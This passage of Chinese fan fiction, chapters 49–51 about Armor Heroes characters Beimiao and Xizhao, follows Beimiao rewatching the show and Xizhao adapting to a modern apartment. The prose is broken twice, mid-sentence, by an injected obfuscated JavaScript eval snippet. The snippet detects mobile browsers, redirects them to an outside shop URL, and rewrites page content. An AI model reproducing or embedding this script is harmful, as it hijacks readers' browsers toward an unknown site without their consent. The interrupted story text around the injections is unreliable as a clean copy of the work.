不过,也许西钊没有明白小雪的明示暗示,又或者穿上铠甲他就只能为影界战斗,他的目标一直都是炎龙铠甲。而击退连续作战有些力不从心的炎龙铠甲对西钊来说并没有耗费太多时间。 也正是这时,北淼依小雪的指示将她劫为人质以示威胁。那时他还在为“居然要通过对女人出手来化解局势”感到不耻,若知道面前人是他苦寻十年的妹妹,他肯定不会给小雪再回到影界的机会。 —— “……” 北淼很想跳过这一段。 因为不愿看到小雪受伤而选择撤退,最终只得接受任务失败的惩罚,真是符合西钊的作风。北淼觉得他现在的表情和眼睁睁看着西钊被电击的小雪一模一样:想说什么,却什么都说不出口。 这其实不是西钊的错。 北淼回想起西钊那时和他聊小雪在影界的生活,他说,小雪和北淼一样倔而躁的性格给界王惹了不少麻烦,所以他也为小雪扛下了不少。如今,见过西钊身上所有伤疤的北淼并不想知道,那些痕迹中有多少是因为挡在小雪面前而留下的。 北淼终是不忍心继续看。但他没有快进,只是闭上了眼睛,直到这段残忍的处罚结束。 —— 北淼对小嵩的初印象其实不怎么样。除了到处曝光他的黑犀铠甲之外,连照片都拍得那么丑。后来面对林伯伯揭穿黑幕的请求,小嵩没有犹豫地选择接受,北淼对他的印象这才好了一些。 当小嵩在聊天室里被群嘲的时候,北淼莫名地与小嵩共情。他也不知道自己在共情什么,“贼喊捉贼”?也许吧,他北淼在西钊杀死界王加入队伍之后,就差没把这四个字贴在自己脑门上了。 北淼摇摇头,自嘲地笑了笑。 —— 嘶,这个地方,坤中还不知道西钊是雪獒铠甲的召唤人,但西钊却知道他的身份。 且不说你把你兄弟往人家女孩子那里推、还想着“溜之大吉”;站在西钊的角度,敌方铠甲召唤人约自己出门,对他来说岂不是进攻的绝佳时机? 但从这段对话来看,美真也要一起去。之前他们已经通过系统模拟出雪獒铠甲召唤人的模样,到时候不会很尴尬吗?难道要当场直接动手?不对。他记得,当时对付异能兽的时候,雪獒铠甲不在现场。 —— 不是,等会儿。 北淼眯起眼睛、点击屏幕。在确认自己没看错集数之后,他发出了和弹幕一样的无声质问:“你就这么带着它?在大街上溜达???” 这个镜头甚至还给了地上躺着的两个人镜头,生怕你不知道西钊带着异能兽正在袭击人类,还顺手接了个地虎铠甲召唤人的电话。 不是说不想伤及无辜吗?西钊口中的“无辜”到底是怎么定义的?这两个人是死是活?笑着说“我知道,你是坤中嘛”的西钊那时究竟在想什么?无数疑问几乎要把北淼淹没,他忽然又不确定西钊心中的黑与白、是与非了。难不成,是他看西钊的滤镜太重,其实西钊也曾像小雪一样轻视过人类、轻视过生命的? 抱着怎么着也要得到答案的想法,北淼迅速双击屏幕继续往下看。 —— 什么“这就是养儿子和女儿的区别”,界王掐着小雪电她那一幕至今北淼还恨得牙痒痒。在他眼里,小雪和西钊一鞭子都不该挨。 当初就不该让西钊来结果与界王合体的眼镜蛇兽。它被封印之后,他们四人也没有去管与之解体的界王。现在想想,给他一个痛快真是太便宜这个人渣了。 北淼抬手就要捶床头柜,但这次他很快冷静下来。算了算了,别为难没有任何感觉、坏了还要赔的东西。 —— 张北淼你这个——哎! 北淼按下暂停,深呼吸平复直窜上来的火气,抹了把脸。他第一次觉得自己修养太好,找不出更有攻击性的词汇来骂“自己”。 其实,站在“北淼”的角度,对影界的人说这些话并不奇怪;但站在上帝视角,且知道很多内幕的情况下,北淼只想把那个高高在上的自己提溜起来扔海里。 当时北淼对于小雪说的那一句“我呢”只当是一句毫无意义的空话。因为过去小雪对他来说只是一个来自影界的女性。他北淼不打女人,仅此而已。现在想想,这句话很有可能是小雪在试探北淼有没有认出自己、或者试探北淼对自己的态度。 结果他的回答可以说完美避开正确答案。 “有好好的日子可以过,何必要助纣为虐,把自己搞得阴阳怪气”,她没过上好日子是因为谁?她成长成一个会选择助纣为虐的人是因为谁?真正阴阳怪气的那个人到底是谁啊? “人生的路是靠自己掌握的”,你到底哪里来的骄傲敢这样踩着自己的错误高高在上?他怎么不知道自己以前这么狂妄? 等北淼差不多从火冒三丈的状态里缓过来,他才发现刚刚那一轮下来,他把自己也骂了一顿。不过,他也确实该骂。那时候的他还是太傲了,不论是对自己人、还是对敌人。 北淼扶着前额,摇头叹息。 按下继续播放时,他看到弹幕缓缓飘过一句“国光也喜欢钓鱼”。哦。是吗?那国光要是路过,就顺便把这个钓鱼的家伙踹海里吧,算是帮他一个忙了。 —— 就……就这么见上面了? 北淼有些困惑为什么美真没有第一时间认出这是她亲自还原相貌的雪獒铠甲召唤人,以及西钊为什么没有以雪獒铠甲的身份现身发起突袭,明知道对方是敌人,依然选择以朋友的身份相处。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334677|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先别说坤中有没有危险,西钊不怕被反将一军吗? 在他们打球聊天时,北淼想过几种可能,概率最大的就是:美真这次的重点并不在西钊这里,所没有多加关注。就像一个人对朋友的朋友不会有太深印象一样。 至于西钊,北淼有想过这是他的计划之一,也可能是声东击西,总不能真的是西钊的口头禅“我不愿和朋友战斗”吧…… —— 好吧,还真的是。 不过北淼也可以理解为西钊不想在这里暴露他的身份,但如果是这样,西钊大可以离开之后再变身。虽然这会增加他身上的怀疑,但本来就是美真没仔细看,这就是一点即破的事情。结果西钊就这么挂了界王的电话,头也不回地走了。 他不愿和他们打。北淼得出结论。他忽然有种感觉,西钊此时此刻不想站在任何一边,不管是铠甲勇士、还是界王,他只想做自己。 —— 或许西钊在挂断电话的那一刻就知道会这样吧。北淼想。 他不太理解弹幕从西钊被电击的第一幕起就在说一些莫名其妙的话,仿佛他们从中获得了愉悦感。说实话,这让北淼感到有些不适。 还有人说这段场景很有性张力,让北淼直接大脑发光。他对西钊的情欲可没有那么……夸张。他或许很强势,但他绝不会强迫西钊做什么,更不会让西钊在这个过程中感觉很痛苦——除非是西钊自己的要求。 掌握着一个人的五感或许会带来一时的征服欲,又或者这是某种北淼理解不了的情趣,可他是切身体会过西钊噩梦的人,他无法在那份痛苦和束缚中获得期望中的愉悦,因此,只得遗憾他共情不能。 这世界已经带给西钊足够的痛、足够的苦,也该让他体会体会被人疼、被人宠是什么感觉了。 —— “习惯了。” 一次次被界王施以万伏电击,他说:习惯了;从来没有在影界睡过一个安稳觉,他说:习惯了。 历经熔炼、冷却下来的金,将地狱的火舌描绘成山间篝火,平淡得仿佛在讲述属于别人的故事。 北淼回想起平行世界中那个没有小雪的陪伴,独自在影界、在界王手下生活十年的“西钊”,忽然理解了那双灰暗眸子里平静的绝望。 让真金化为灰烬的不是烈焰,而是孤独。 —— 直觉告诉北淼,西钊这句话在自欺欺人。 如果“养育之恩”是西钊奉命袭警、伤人、行恶的全部理由,那就等同与他的本性背道而驰——至少在北淼眼里是这样。 北淼依旧坚持自己的判断:笼中雪獒的利爪,永远是为撕裂邪恶而磨砺的。 他始终相信,等他对西钊问出那个“为什么”时,西钊的答案绝对不会让他失望。 —— 北淼很高兴小雪能有这样的想法。 只是他又感觉这很矛盾,前脚小雪才有过恶念,为什么忽然改变心意、向往阳光下的生活?难道是因为“北淼”对她说“人生的路是靠自己掌握的”吗? 小雪能及时醒悟,对北淼而言再好不过,可是他不知为何,心中隐隐觉得不安。 —— “北淼”的怀疑很合理。完全从上帝视角冷静下来的北淼理智地评价。因为没人能证明西钊真的清白,且影界的确一直在对人类发动袭击。恰巧雪獒铠甲的召唤人和地虎铠甲的召唤人是球友,很难不产生疑虑。 但是,明明可以好好坐下来聊的事情非要跟吃炸药一样暴躁。坤中好歹也是个成年人,说出那样的话多少也有点不尊重他了。 北淼轻声叹息,摇了摇头。 其实坤中和西钊这两个人从头到尾都蒙在鼓里,西钊了解到坤中的身份之后甚至不再愿意和他正面对峙。没人知道这一点,也没人能知道。北淼想到炘南的那句口头禅:“一切都是最好的安排”,不禁一声嗤笑。 —— 你是真不要脸啊,张北淼。 哪怕不是上帝视角,在这个场景下说出这种话也让北淼闭眼扶额。西钊之前笑他“死要面子活受罪”,他还生了西钊三分钟的气;现在他发现,这哪是死要面子活受罪,这是赤裸裸的为了那点领队的自尊心,连脸都不要了。 承认错误是假,强化自己的存在感是真。不得不说,某种程度上,他北淼也是个很有心机的家伙。 好吧、好吧。这不是优点。 —— 等一下,让他捋一捋。 北淼点击暂停,陷入沉思。 异能兽的目标是光影村的后人,那么“有异能兽完成任务就可以了”就是指,在西钊眼里、或者在他接受的教育里,光影村的后人不是“无辜者”。 第二点,按西钊这个逻辑来看,如果雪獒铠甲出面,就会涉及到除目标之外的人物。这是什么意思?难道和最初袭警一样,是让他在追击目标的基础上,“不计代价扫清障碍”吗?假设这个理论成立,那么西钊就是将光影村以外的人认定为了“无辜者”,是他不愿伤害的目标。 还有一个问题,北淼想,之前西钊有提到“如果在不伤及无辜的情况下把光影石拿回来,界王也许会放他们一马”,这就表示,西钊打心底里不愿伤害与他为敌的几个铠甲召唤人,这一部分也可以算作“无辜者”。 这么一来,之前西钊几次伤人事件的态度差异,似乎就能解释得通了……北淼若有所思地点了点头,双击屏幕继续播放。 —— 果然。西钊和北淼想的一样,由始至终没有把自己当做是影界的一份子。他自知不属于这里,是“养育之恩”将他束缚在此地,而他暂时找不出逃脱的方法。 或许协助界王伤害光影村的后人、拿出自己的生命为界王战斗,已经是他最后的底线、最大的妥协。因此,如果让他去破坏“无辜者”生存的世界、“摧毁地球上的生命”,他自然是不愿意。 让北淼感到万分欣慰的是,这个一直只会言听计从的家伙,终于有一天脑子为自己转了几秒钟。 —— 虽然西钊在影界生活十年这件事是他北淼的错,但界王你这么骂人就是你的不对了。 西钊他是人类,永远都是。 —— “摧毁性的打击”?难道是无差别攻击吗?而且……S学院,这不就是他第一次见到西钊的地方? 北淼一边回忆,一边关闭平板。明天要去办车险,说不定能提前把车提了,所以他得早点休息。 关于那一次的相遇其实北淼记不太清,说来也惭愧,他对S学院的记忆似乎只有和雪獒铠甲的激斗。那时,不光是水甲盾、他连流星枪都拿出来了。可雪獒——西钊——只是握紧拳头,并未召唤出武器。眼看就要治他于死地,炘南却出手拦住他,放任西钊离开。 曾经北淼还遗憾那天没能就地解决雪獒铠甲,然而当他再度想起这件事时,似乎明白为何西钊选择不使出全力、赤手空拳与他战斗,直至身负重伤。 面对火力全开奋勇杀敌的对手,作为一个没有战意被迫上阵的战士,可是会送命的啊,西钊。 在浴室洗漱的北淼抬头望向镜中的自己,扯了扯嘴角,无声苦笑。 TBC 50. 猫白白 拖着行李拿出钥匙打开豪华公寓的门,西钊依旧感觉这一切还是那么不真实。 通过追星女孩的姐姐,西钊成功在拍摄的空档联系到了张超。由于身处异地,他们依靠手机的视频通话交流。 一开始张超也将西钊误以为是某个狂热粉丝,但随着了解的深入,以及那份来自权威医院的检查报告,张超逐渐意识到事情比他想的更复杂。对“饰演的角色穿越到现实世界”这件事,他意外接受得很快。 当然,“时空穿梭”并不是他作为演员的专长。因此他只能尽自己所能帮西钊暂时安顿下来,适应这个时代的生活,方便西钊更快地找到回归原世界的方法。 张超在S市待过一段时间。当时和朋友搭戏合租,杀青之后他要离开S市,但朋友还有一部剧也在S市拍,所以到现在这个公寓也还在租用。那个朋友最近要出远门,公寓正好可以转交给西钊。公寓里还有一只他在公园里捡到的三花猫,虽然不怎么粘人,但多少也算是一个陪伴。 关于钱和证件的事张超也有考虑过,但西钊表示,除了没有驾照之外,这些基本没什么问题。 还有最重要的一点,就是他们的容貌。张超还在B市一时间回不来,比起担心西钊会给他带来什么麻烦,他更在意这会给西钊带来困扰。即使张超还不至于认为自己是个人尽皆知的明星,也避免不了在路上被粉丝认出来。 他和西钊谈过这个。对此,西钊只是笑笑说:“没事,我可以不出门。你们不是有上门配送的服务吗?好像什么都可以买到。” 看来,西钊已经差不多玩转那部张超给他买的新手机了。 他们互留号码,张超也安排经纪人带西钊去S市。西钊在飞机、高铁动车、自驾之间选择了飞机,也没什么特别的理由,只是单纯的速度快、人少、安静。经纪人没办法实时跟着西钊,给西钊安排头等舱、告诉他公寓地址、交付钥匙之后,他们在机场分别。 经纪人定的航班时间正好,等西钊从机场拿到上飞机之前采购的行装和日用品、打车来到公寓时,已经是傍晚时分。 西钊还不饿。因为上一任住户,也就是张超的朋友,刚搬出去几天,屋子里算不上整齐,所以他打算先收拾一下。 然而,西钊前脚刚关上门,一个模糊的小小身影便从他面前灵巧窜过,下一秒直接往西钊身上扑。西钊眼疾手快地松开拖着行李箱的手接住飞来横物——毛茸茸的手感。他定睛一瞧,是只微胖的三花猫。 他认得这个花纹,这和他当初在公园弹吉他之前遇到的是同一只猫。原来猫也有平行宇宙这种说法吗? 张超和他的朋友都提到过公寓里有只猫,叫“白白”。不过根据他们的说法,因为流浪过一段时间,所以它警惕性很高,并不亲人。怎么到他西钊这里就大变样了? 西钊笑着把正在启动摩托引擎的白白放到一旁的猫窝里,也顾不上它翘得老高弯成问号的尾巴,卷起袖子就四处找扫帚拖把和水桶。结果他探头探脑绕了几圈,房间位置都快记住了,也没找到一把扫帚,拖把和抹布倒是有。 ……果然还是先熟悉一下这里有什么比较好。西钊把已经整理出来的清洁工具放在靠阳台的落地窗旁,把白白从行李箱上抱下来,拖着箱子沿着客厅往主卧走。 张超教过他,现在的手机很方便,里面有一种功能叫“拍照识图”,意思是对不明白的地方拍个照,人工智能会告诉他关于它的一切信息。要是这个功能可以反过来用就好了,比如把某个人的照片和信息放进去,就可以通过这个人工智能找到哪里有跟他长得很像的人。这样他至少可以确认北淼到底在不在这个世界里。西钊一边如此想着,一边拿出手机,开始环视周围,寻找他没见过的东西。 这是扫地机器人。扫地机器人?机器人现在也可以扫地了吗?这么小一个,像飞盘一样,能把灰尘什么的打扫干净吗?居然只需要按一下按钮就行……把行李箱放进卧室的西钊回到客厅,弯腰按下开关。 然后这边是吸尘器。吸尘器西钊见过,但没见过这么简约的,还分大小。大的用于地面、小的用于桌面。阳台那边是洗衣机……不对,手机上说这叫洗烘一体机。西钊歪了歪脑袋,微微皱眉简单地看使用说明,一直跟着他的白白也把毛茸茸的小脑袋往旁边一歪。 接着是挂在墙上的电视。西钊有点担心哪天它撑不住掉下来。他和北淼住的地方都没有那么大尺寸的电视,不过他们也不怎么看就是了。西钊还在想着和北淼之前的点滴,余光瞟到爬上电视柜扒拉挂墙电视的白白,心里一惊,仿佛看到二队拐走向阳一样迅速跑过去把它拎回怀里。 西钊为了防止白白乱跑,就这么抱着它继续举着手机拍照。 客厅有一台圆柱形的立式空调,厨房用的不是煤气而是天然气,油烟机都是斜着放的。布局和北淼家里差不多,有两个卫浴,热水器也用的天然气,还能直接在手机上控制什么时候烧水、甚至还可以预约。饮水机有即热功能,几秒钟就可以喝到指定温度的热水……以及其他很多让西钊为之惊叹的设备和家具。 西钊仰头再度环视一圈,抬步往客厅后退。他虽然是身经百炼的战士,对周围环境的改变也足够敏感——但这个范围似乎不包括电子机械。 因为他在往后退的时候被扫地机器人绊倒了,现在整个人以不太雅观的姿势倒在沙发上。还好北淼没看见这一幕,西钊想,不然北淼大概率会趁机压上来,之后的一两个小时他们就别想从沙发上下去了。 “嘶——” 打断西钊胡思乱想的不是突然踩在他单薄身板胸口的“重量级”白白,而是刚刚摔倒时,被西钊压到的、原本就在沙发上的遥控器。于是当西钊抬手准备把白白抱下来时,墙上的电视突然开启,吓得白白在西钊腰腹上一个蓄力弹射窜了出去。 呃,它好重。西钊皱眉捂着肚子坐起来,另一只手拿过遥控器端详片刻,抬头看向让他眼花缭乱的屏幕。 西钊第一眼就看到“童年经典推荐”栏目里大大的宣传海报,上面是它再熟悉不过的几个人,以及一行看上去挺酷炫的标题:铠甲勇士之光影传奇。西钊拿起遥控器,点开之后却被告知:需要开通VIP才能观看。西钊一直不太明白VIP的机制,不过根据北淼的逻辑,遇到这些,只管付钱就行了。 手机上弹出“支付成功”的消息,电视屏幕也解锁了“播放”按钮。西钊看了看《铠甲勇士》的集数和每一集的时长,又转头看了看转圈圈的扫地机器人和阳台边的清洁工具。最后,他低头解锁手机,点开一个黄色的APP,买了两份烧鹅、一份饭,以及一杯热牛奶。至于收货人姓名那一栏,他只简单地写了个“秦”。 西钊计划在餐点送到之前收拾好行李、打扫好卫生。这样他就可以把之后的时间都留给《铠甲勇士》。 好在,在影界住习惯了,他的日常行李不多,换洗衣物都不超过5套,连半个柜子都没放满;虽然他性格上有些摇摆不定,但经过影界长期的训练,只要有目标,他的行动力其实不亚于北淼。等他把吸尘器收好、召回扫地机器人、整理好其他工具、把撸上去的袖子放下来时,门铃正好被按响。 “放门外就可以,我马上来取,谢谢。”西钊按照手机里的说明,按着传呼铃对门外说。 ———— 张超在西钊看到第15集后半段时打来了视频电话。 没了经纪人和朋友的帮助,西钊不太会调整前置镜头的角度,摆弄了好半天。一本正经的表情加上手忙脚乱摇晃的镜头,形成了一种冷静与手足无措的微妙反差,让张超觉得十分滑稽。 最终,西钊投降一般将手机抵着纸巾盒,架在茶几上。仰视的角度正好拍到窝在它大腿上的白白,而它也敏锐捕捉到了旁边看着它准备打招呼的张超,前一秒还翻起肚皮伸懒腰,下一秒就嫌弃地跳开、钻进角落里的猫窝。张超在西钊困惑的目光里尴尬地笑了两声。 “怎么样,还习惯吗?” 西钊从张超的背景可以看得出来,他已经完成今天的拍摄,回到了酒店里。他看起来有些疲惫,但依旧很高兴的样子。 西钊“嗯”了一声,点点头:“我对新环境适应得很快,不用担心。你呢?” “进度还不错。今天我的戏份比较多,也和主角团有几场对手戏,还有几个晚上的镜头他们要补拍,所以回来得晚。” 张超的手机或许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334678|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 架在比较高的书桌上,坐下来时西钊能以平视的视角看他。他半个身子探出镜头,再回来时手里拿着一瓶西钊不知道牌子的饮料打开喝了几口。 西钊想问问关于北淼的消息。之前和张超提过,张超说会利用自己的人脉和资源帮西钊寻找线索。但经纪人和那个追星女孩的姐姐都无意间透露,张超最近档期排满、日程也很忙,因此他有些不好意思开口询问进度,只是顺着张超的话题说下去。 “我记得、这次也是一部特摄剧。可以聊聊你在里面的角色吗?” “嗯?当然。” 一谈及角色和演绎,张超仿佛打开了话匣子。西钊并不了解这部剧的角色和剧情,但从张超的措辞和表情来看,他在这上面下了不少功夫,即使是个外行人也能感受到他对这个职业的热爱和专注。 得知西钊刚刚在看《铠甲勇士》之后,张超甚至和西钊聊起了之前的拍摄心得、谈及剧本与现实之间的相似与不同。角色的扮演者和角色本人之间对话,不论是这个场面还是对话的内容都微妙至极。 由于拍摄角度和西钊的坐姿,张超很容易就注意到了西钊无名指上的黑色戒指:很朴素、却很惹眼。摄像头的像素很好,聚焦到戒指时上面那熟悉的黑犀纹路让张超尤为好奇。正好他们刚刚的话题是各自对北淼的看法,于是张超顺口就问了出来。 “这是……你和北淼的对戒?” 西钊也没有多想,嘴角上扬,糟糕的摄影角度也没法掩盖那幸福的笑容:“嗯。我们前不久才正式确认关系。你呢?和柏栩栩还有联系吗?我之前听一个粉丝说,网络上有很多喜欢你们故事的人。看来,你们一定关系很好。” “……” 沉默仅仅持续几秒,虽然张超的表情没怎么变过——至少看上去是如此,但即使迟钝如西钊也察觉到气氛有些尴尬。他感觉到自己似乎冒犯到了对方,或者这并不是张超想提起的话题,于是西钊只好匆忙找补。 “那个、我的意思是……” “没事没事。”张超忽然打断略显无措的西钊,耸耸肩膀轻笑起来,仔细听能听到一声叹息,“我和他很久没联系了。大家都忙。很高兴过了这么久还有粉丝喜欢我们。那段时间对我们每个人来说都很珍贵、也值得怀念。” 是错觉吗?西钊从这番话里听出了隐隐的官腔。他在有意避开这个话题,或者说,这不是他的真实想法。觉察到这一点的西钊还想说些什么,张超已经伸手拿起手机往床边走了。 “明天我还有几场戏,不能陪你聊太久。虽然《铠甲勇士》很经典,一旦开始看就能看很久,但别看太晚。白白凌晨很闹腾,不早点睡的话,今晚就别想睡了。” “……嗯。那我就不打扰你了。” 面对哭笑不得躺上床举着手机的张超,西钊也跟着浅浅笑了笑。他们互道晚安,便挂了电话。 屏幕一黑,息屏显示上映着西钊收敛笑意、轮廓分明的脸。 老实说,他有些自责,也有些困惑。他以为柏栩栩是寻找北淼的切入点,而张超是联系柏栩栩的最好人选,但先不说他们有多久没联系过,张超在谈到他和柏栩栩时似乎不太……西钊不知道怎么形容,似乎有点心不在焉。 他也问过追星女孩关于张超和柏栩栩的事情。听她说,他们两个人当年还合租过一段时间。之前张超有部专门讲合租的电影,在宣发采访中张超还在被问到合租经历时提及“和一起选秀的朋友合租过”,也就是柏栩栩。张超那时看上去也挺开心,和今晚大不相同。 看来……张超有这样的反应大概率不是因为“和对方久不联系”。那是怎么了?西钊虽然擅长察言观色,但整明白“是什么”很容易,让他弄清楚“为什么”可是个世界难题。 白白在西钊的思绪满屋子乱飘时蹦到茶几上,一爪子按下遥控器。屏幕上的《铠甲勇士》再度开始播放,“北淼”一如既往地在指挥室里暴躁发飙。西钊的注意力成功被北淼的声音吸引,他看向白白,对方默契地一个小跳蹦到他腿上、重新窝成一团。 西钊望着屏幕上给队伍泼冷水的“北淼”,又低头看向无名指上的黑犀对戒,眯了眯眼、若有所思。 TBC 51. 另一种形式的你我 看完一整部《铠甲勇士之光影传奇》总共耗费北淼快一周时间。这期间他忙着办车险、提车、找房源,以及收集关于张超的日程信息。 至于为什么从张超的动向下手,原因很简单。既然张超和西钊有着同一张脸,那么在这个任何敏感信息都能迅速发酵的互联网时代,只要西钊露脸的次数越多,北淼在网上刷到相关信息的可能性就越大。不过,目前北淼还没得到什么有效的情报。 北淼开着亮黄色的跑车在街道上等红灯。令他意外的是有时间期限的驾照居然过了16年还能使用。 上午他刚签完租房合同,在市中心。位置不错、家具齐全,因此他也不用置办别的东西。北淼的行李不多,回去吃个午饭就能收拾东西过去,下午找人打扫卫生,晚上就能住。 当北淼在绿灯前5秒准备起步时,他架在旁边的手机屏幕弹出一条来自APP的通知: “您订阅的标签#北西#有新作品啦,快来看看吧!” 北淼瞟一眼手机,收回视线、专心开车。 这是他看完《铠甲勇士》之后,偶然间找到的一个APP。老实说,他也不能定义这个APP的性质和用途到底是什么,但有很多人在这上面对《铠甲勇士》的故事进行二次创作,不论是图片还是文字都有。一开始,北淼只是抱着好奇的心态点进#铠甲勇士#的标签,筛选掉其他5部作品随意翻阅。但等他停下来打算歇会儿的时候,却发现时间已经过去了快两个小时。于是,这件事就变得一发不可收拾。 北淼本来还觉得,当时看视频,弹幕里很多人都在骂他,所以大概没什么人会喜欢他。结果不管是人物群像还是一些搞怪的创作,都少不了他北淼的戏份。他的人气在他们五个里居然还挺高。北淼再次对这个世界里人们的脑回路感到理解不能。 至少他总结出一个规律:只要长得够帅,不管做什么都可以被原谅。 其实之前北淼看的一直都是围绕《铠甲勇士》整体故事、或者有很多个主角的“群像”作品,有的把他们画成动物、有的还原他们战斗时的英姿、有的续写他们对抗黑暗的传奇、有的扩写他们平淡生活的日常。直到后来,他在这个大标签里看到了奇怪的标题:淼炘、钊淼、北西、西中、东美、东南,等等。 如果可以的话,北淼有时候还真不希望自己的脑子反应得那么快。而等他意识到自己看到的是什么,一切都晚了。他们几个兄弟的名字很有特点,除了方向之外也都不是常用字,所以北淼一看就知道其中的意思。 不过,他一开始还以为只是把两个人凑起来讲故事,结果他耐不住好奇点进其中一篇写着“北西”和“ABO”的文字作品之后,文中的“易感期”“发情”“怀孕”有如一记高速网球冲出屏幕直击他的脑门,让他的表情仿佛咽下一口鲜榨浓缩柠檬汁,一言难尽地直接退出APP。 从此以后北淼便知道,名字组合在一起意思是这两个人在故事里会有感情线、或者身体关系,而名字的前后代表他们在关系中的主被动以及床事中的上下位。 虽然明白这一点让北淼受到了很大精神冲击,但他发现在这个世界里,有很多人喜欢把他和西钊凑到一起,用他们的话说就是一对“CP”。因此,北淼最终还是抱着赴死一般的决心和好奇,点击并订阅了#北西#这个标签。 比起图,北淼更多时间都花在了文字上。 他按点赞数排序,想知道这个世界的人都爱看他和西钊什么样的故事。北淼对图文的质量都不那么讲究,他主要看故事的大体剧情和人物塑造。排名靠前的那几个作品都不错,基本都是为增加他和西钊在原本剧情里的互动而修改了原作中的情节。虽然基本套路都是“他对西钊不好、后来发现误会西钊、想尽一切办法补救”。很符合他们的经历,北淼想,除了,呃,在床上很暴力这件事。 怎么大家笔下的自己都怎么喜欢“强制爱”?而且把他写得好像一个霸道总裁……好吧,他有时候确实挺“霸道”的,不然面对西钊这个没推力就动不了的家伙,在一些情况下你也只能强塞——噢,他指的是衣食住行以及情感,不是那种意味。也不知道是不是被二次创作的“故事”影响,北淼在看作品时心思总会被莫名其妙带歪。 他不否认有些故事里对他和西钊的塑造实在不相符,剧情也和随处可见的言情小说大差不差。但因为挂着他们俩的名字,比起尴尬和违和,北淼读起来反而别有一番乐趣——只要别让他再看那个“ABO”什么什么的。 在翻阅数十篇文章后,北淼还注意到,或许是因为他们的最终结局是“战胜黑暗、阖家团圆”,因此他和西钊几乎所有的故事不论中途再怎样磕磕绊绊,都是以好结局收尾。这让他心里很是舒坦。 当然,他说的是“几乎所有”,既然是主题丰富、各不相同的故事,就难免会有例外。 北淼对这个作者印象深刻,因为TA笔下的故事没有一篇是好结局。其他人都在描绘北淼和西钊一切结束之后的美好生活、或者在那之前的爱恨情仇最后终成眷属的时候,这个昵称“爱琴海”的作者用极其平凡的词句、流畅而现实的剧情,将看使能够完美落幕的感情,以一种符合逻辑、没有对错之分的方式坠落谷底,引得读者们一片哀嚎。 “爱琴海”关于#北西#标签的文章北淼都看过。文章发布的时间都不长,连载篇幅也不多,但每天都在写。北淼注册了个账号,随便起了个名叫“三水之家”,关注#北西#的同时也追着“爱琴海”的更新。 在北淼看来,“爱琴海”笔下的北淼和西钊虽然不至于一模一样,但依旧让他有“我和西钊确实会这么想、这么说、这么做”的感觉。即便措辞简单、描写朴素,也能看出TA对人物的理解非常到位。 有一篇名为《苍白困兽》的连载,剧情大致是:黑暗势力卷土重来,西钊为保护北淼与反派□□,却被北淼误会,甚至最后闹到北淼提出分手。等北淼幡然醒悟前去营救,西钊已被敌方洗脑失忆,加入了反派一方。但西钊对北淼的感情让他在正邪之间摇摆不定,又常常在梦中见到北淼,因此私下里与北淼再度会面。 这一部分其中有段描写,北淼还挺喜欢。 ———— 西钊一直在梦见一个人。 梦里的场景千变万化,忽真忽假。但不管在哪里,总是有个皮夹克爱好者站在不远不近的地方,双手松松插入裤袋,半侧身子背对着西钊看向别处。忽地,他回过头,嘴角平平,眼里却尽是被磨去棱角的,尖锐之下的温柔。 “西钊,你想要什么我都能给你。你也只能接受我给你的东西。” “我什么都不想要,■■。” “那你什么都得不到。” 梦醒,眼角总会残存浅浅的泪痕。那是无法被西钊定义的悲伤,他不知道那种心痛源于何处、又归属何方。西钊从未听清那个有着独特气息的人的名字,每当声音响起,汹涌而来的洪流就会将答案卷进崩塌的时空里。 …… 西钊没有离开、也没有更近一步,就保持着一定距离,与梦中的人在现实里对视。 和梦里一样,那个人很冷峻、也很淡然,但那双眼眸中却荡漾着和梦里不一样的光辉。像是怀念、像是温柔,又像是悲伤。想到那个梦,西钊忽然有些好奇,如果是同样的对话,会不会得到同样的回答? “是不是我想要什么,你都能给我?” 北淼一下子没有反应过来,他不明白西钊为什么突然问这个,尤其是在西钊连他是谁都不知道的情况下。但西钊一本正经的表情让北淼抛掉了“背后有影界势力指使”的念头。 “嗯。你想要什么,我都能给你。”思考了几秒,北淼又加了一句,“但是你只能接受我给你的东西。” “如果我什么都不想要呢?”你会冷冷地告诉我,我什么都得不到吗? 北淼站起身,绕过吧台前的高凳走到西钊跟前,定定地看着那双带着不安和犹豫的深色双眸: “什么都不想要的是神。你是人,西钊。” ———— 不是说这一段写得有多好,北淼想,他只是莫名觉得西钊曾对他说的“我的沉默不是你得寸进尺的理由”与这“什么都不想要的是神,而你是人”有异曲同工之处。 西钊很少、甚至不主动说他需要什么、想要什么,什么都是“这样就好”,连情绪也很少表达,很多事宁可和坤中、小雪说也不和他北淼说。 也许是微笑唇的容貌特征和他本就温和的性格,大次数时间他都在微笑、或者表情平静。一旦他不笑、气场阴下来,那事情可就难以收尾了。这种“二极管”情绪时常让北淼觉得很难办。而次数多了,连北淼也会觉得火大。 他不是没和西钊谈过这件事,但收效甚微,北淼也不能强压他,只得带着“道阻且长”的无奈走一步是一步。 “爱琴海”仿佛知道他们之间会发生什么矛盾似的,寥寥数笔就让北淼轻易地产生共鸣。 北淼收藏夹里还有“爱琴海”一篇比较短的连载。它对《铠甲勇士》的设定改动比较大,风格更为现代,叫《相交的平行线》。 